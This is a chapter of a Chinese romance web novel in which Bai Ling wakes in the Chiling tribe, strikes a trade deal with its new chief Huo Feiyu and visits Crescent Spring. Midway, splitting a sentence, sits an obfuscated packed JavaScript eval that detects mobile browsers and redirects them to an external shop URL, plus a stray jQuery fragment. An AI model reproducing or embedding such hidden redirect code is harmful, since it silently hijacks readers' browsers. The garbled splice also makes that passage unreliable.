边关的夏来得很早,那里大漠黄沙,热浪袭来时几乎叫人透不过气。白翎在这样的季节里醒来,感觉自己像睡着在蒸笼里。
顾不得环视周边,她一眼盯住桌上的西瓜。
霍飞羽进来的时候,看见的就是这样一副画面。这女人左右手各一块瓜,东啃一口西啃一口,嘴唇一圈都是瓜肉的水渍。
“天,饿死鬼投胎。”他看得咋舌,索性搬了把椅子坐在对面,饶有兴致地看白翎吃瓜。
别说,还真挺有意思。
将西瓜啃得只剩下薄薄一层绿皮,她才抹着嘴结束战斗,抬头看了眼对面之人,愣住。
脸还是这张脸,艳丽容颜挑不出毛病,就是这衣服,怎么是这样的?
他身上披了件绯红色的斗篷,仔细一看,竟是无数红色羽毛织就的。举手投足间,恍若羽翼张扬。
她这才想起了什么,转头打量室内。
这是完全陌生的环境,挂着虎皮和弓箭的墙,上面刻着歪歪扭扭的字符,窗和门的形状都很别致,不像是大晟会有的布置。
“这是赤灵族?”白翎盯着眼前的绯红斗篷恍然大悟,“你当族长了?”
“睡了三个月,好像变聪明了嘛。”
“我睡了三个月?”她怔了怔,思绪飘走了一小会儿。
她的记忆停留在深冬,而如今窗外全是热浪,中间的这段时间她没有任何记忆,像被人生生剪掉了一段,简直恍如隔世。
也不知都城怎么样了,那人又怎么样了……
“可不是嘛,终于醒了,你这三个月简直是当祖宗的三个月。你到底知不知道生死丹后劲极大,失去意识的这段时间我根本不敢让其他人照顾你,我……”霍飞羽忽然摆了摆手,“算了,反正醒了。”
“抱歉,给你添麻烦了。”
“拜托,说这种话做什么?我救你一命,好歹说声谢谢啊,这种最基本的事不用我提醒你吧。”
“……谢谢。”
“行了行了,这种需要提醒才勉强说的谢谢,不要也罢。对了,瓜记得吃完,天热不能久放。”
白翎看了眼桌上剩下的瓜,摇着头:“我不吃了。”
“这就不吃了?刚才风卷残云的人是谁?”
她没好气白了一眼:“我三个月没吃东西没喝水,所以我吃得急可以吗!”
这瓜虽然好吃,可她还是习惯一整个西瓜切了对半,然后用勺子挖着吃。可惜曾经的吃瓜搭子,远在数万千里……
那人只道自己已死,却不知会如何呢?
会伤心难过吗?还是……渐渐将自己忘了?
她茫然失措地对着白墙发呆,看起来眼珠子一眨不眨,其实一点没聚焦。
直到外头响起一串别扭的汉音,她才回过神。
“族长,赫连威要见你。”
话音刚落,一个高大身影就走了进来。
他没料到屋里还有个人,对着白翎愣了一下,一时停住了话。
“有什么话直说吧。”
“族长,听闻大晟那位摄政王爷受了弹劾,二皇子又不知何缘故和摄政王似有不和,支援我们的力量一下子削弱,霍玄提出的限市令最终还是推了下来。这些天边关贸易都停了,族里不少人都很有想法。”
见霍飞羽没有说话,他又道:“您刚任族长,根基不稳,若是能想个办法恢复互市,我想大家都会对您心服口服。”
霍飞羽总算开口了:“你曾任使臣,对大晟颇有了解,不如你先来说说,有何法子?”
说了等于白说。
赫连威再次愣住,他要是有法子,还至于一天天的往族长这里跑吗?
室内忽然响起一个清脆声音:“原来你就是那个使臣。”
“要互市是吧?我帮你们。”
“这……”赫连威一脸惊疑,看看霍飞羽又看看白翎。
霍飞羽往椅背上一靠,翘起腿:“说来听听。”
“事先声明,我可以帮你们,但有条件。”
“我就知道,这才像你。说吧,什么条件?”
“这位使臣,先前你出使大晟时,与你私通的人是大晟二皇子吧?你将你们相互往来的信件交给我。我就帮你们解除限市令。”
“这怎么成?”赫连威叫起来,“你要拿着信件做什么?我们赤灵族绝不能做背信弃义之事!”
“你不必管我做什么。你方才也说了,如今大晟那边,二皇子和摄政王都无暇顾你,换而言之,没人在意你们赤灵族死活了。我就问你一句话,到底是遥远缥缈的盟友重要,还是就在眼前的实在利益重要?”
“对了,我要的信件,不必急着给我。为了表达我的诚意,我可以先帮你们解决眼下麻烦,打开两地相通的一个口子。但是,既然你们族长也在,得给我个准话,这交易,是行还是不行?”
“自然是行的。”赫连威还没开口,霍飞羽先笑了,“白翎,我倒要看看,你能给我多大惊喜。”
霍飞羽已允,赫连威哪里还有拒绝的机会?这笔交易就此谈妥。白翎松了口气,开始盘算之后的事。
二皇子和摄政王不和?她不由会心一笑。
她能猜到。因为这一手暗棋正是自己布下的。
在都城栽了那么大一个跟头,姑且让她先收点小利吧。
至于摄政王为何受弹劾,这倒是要再打听一二。
她隐约觉得都城起了一阵不同寻常的风,也不知渊王府有没有被风吹着了。
忽有一张脸凑近过来。
“我说,你想要什么信件,跟我直说就是了,干嘛这么麻烦?那人现在归我管,敢说个不字?”
“交情归交情,事情是事情。”
似乎看见对面的眼神闪烁了一下,她避开那个灼热视线,又道:“况且互市对两地都有利,特别是对你们赤灵族。我承蒙你照顾三个月,以此来表达我的谢意,顺便扶你坐稳族长之位,这总够了吧?”
“够了够了,太够了。”
“你有没有想过,我其实并不想做什么族长?”
“我知道,但是在其位谋其事,既然做了,就不后悔,得把这个位子坐稳了。”
白翎没问这人为何选择成了赤灵族族长,她想,即便是自己问了,那人也不见得会说。但看他这意思,似乎并非只是闹着玩儿的。
她帮一把,于公于私都是应该的。
“你这话说的,真跟那一位一模一样。”
“哪一位?”白翎心头一跳,看着霍飞羽敛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709466|207494||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了笑,两人之间的距离再次拉开。
她垂目,下意识地搅着手指。
翠玉扳指没了,她醒来的时候就发现了,也不知去了哪里。
罢了,身外之物,她整个人都已“死”了,还要那东西做什么?
“别提那一位了。霍飞羽,你先带我去一个地方,月牙泉。”
这里的夏日格外漫长,哪怕过了晚饭,天还亮着,通红的圆日移到西边,霞光映着月牙泉,镜面璀璨。泉中清水闪着点点晶亮,从山头流向山脊。
不时可见几个赤羽族族人挑着桶将水运走,路见族长来了,纷纷停下来示意。
白翎舀了一勺,水是甘甜的,好喝,不愧是万里挑一的水源,与其他地方的水不一样。
“听说月牙泉是附近重要水源,之前还运至霍家军那边,现如今,他们的水怎么办?”
“还能怎么办?舍近求远呗,找周边几个镇来输送水源,想来日子也不好过。”霍飞羽叹气,“以前有两次闹旱,月牙泉的水也供不过来,当时我还在霍家军,我们只能等边镇运水。可是路上耽搁不少时间,而且一路过来,水又洒了一半,千等万等分到每个人,手里就那么几口。那种等的日子,真是想起来都觉得嗓子眼里冒烟。”
“他们缺水,那你们呢?你们缺什么?”
“最缺的是盐和铁,盐是挨家挨户吃饭离不开的,这里日晒强,没盐身子就没力气,而铁是兵器,赤灵族不单跟大晟接壤,边上还有几个小族虎视眈眈。没了铁器,就没了对外的防备。”
白翎听得动容。
霍将军提出限制互市,实在是无奈之举。他是边关将领,以大局为重,自然不能容忍附近族群的挑衅闹事,可是提出限制互市,等若杀敌一千,自损八百。
重点是,限市令不可能长久。说到底,不过是朝堂上各方势力搅动风云的产物罢了。
“对了还有个事,我听说赤灵族有些人对你不满,那些人的名单,列我一份。”
“怎么?要替我打抱不平?”
“想多了,我只是想把拦路石给搬走,免得碍事。”
“你说的拦路石,有几个已经被我杀了,还有几个刺头,硬的很,先前边关闹事的就是他们那几人,我不好明着来,暂且留着。你想搬走拦路石,怎么搬?”
“给他们布置个任务吧,我想他们一定会乐意的。”她在霍飞羽耳边说了两句,那人听了直笑。
他手指勾着绯色斗篷上的一片羽毛,慢条斯理地说:“白翎,你对我这么好,事事都替我考虑了,还帮我铺平了以后的路。这一切,莫不是对我有意思?”
“想多了。”
“万一呢?有没有一种可能,叫做日久生情?”
“没有那种万一。”
她觉得好笑。日久生情?这四个字会在她身上出现?
视线随着月牙泉的波光开始涣散。
或许有吧,可是那个人,却被三个月的光景冲到了彼岸。
“那你说,要是我对你有意思呢?”
“那就离我远一点,事成之后我就会走,不会让你有那种机会的。”
霍飞羽笑容滞了一下,却下意识将椅子拉了过来。
“我知道的,你要走。”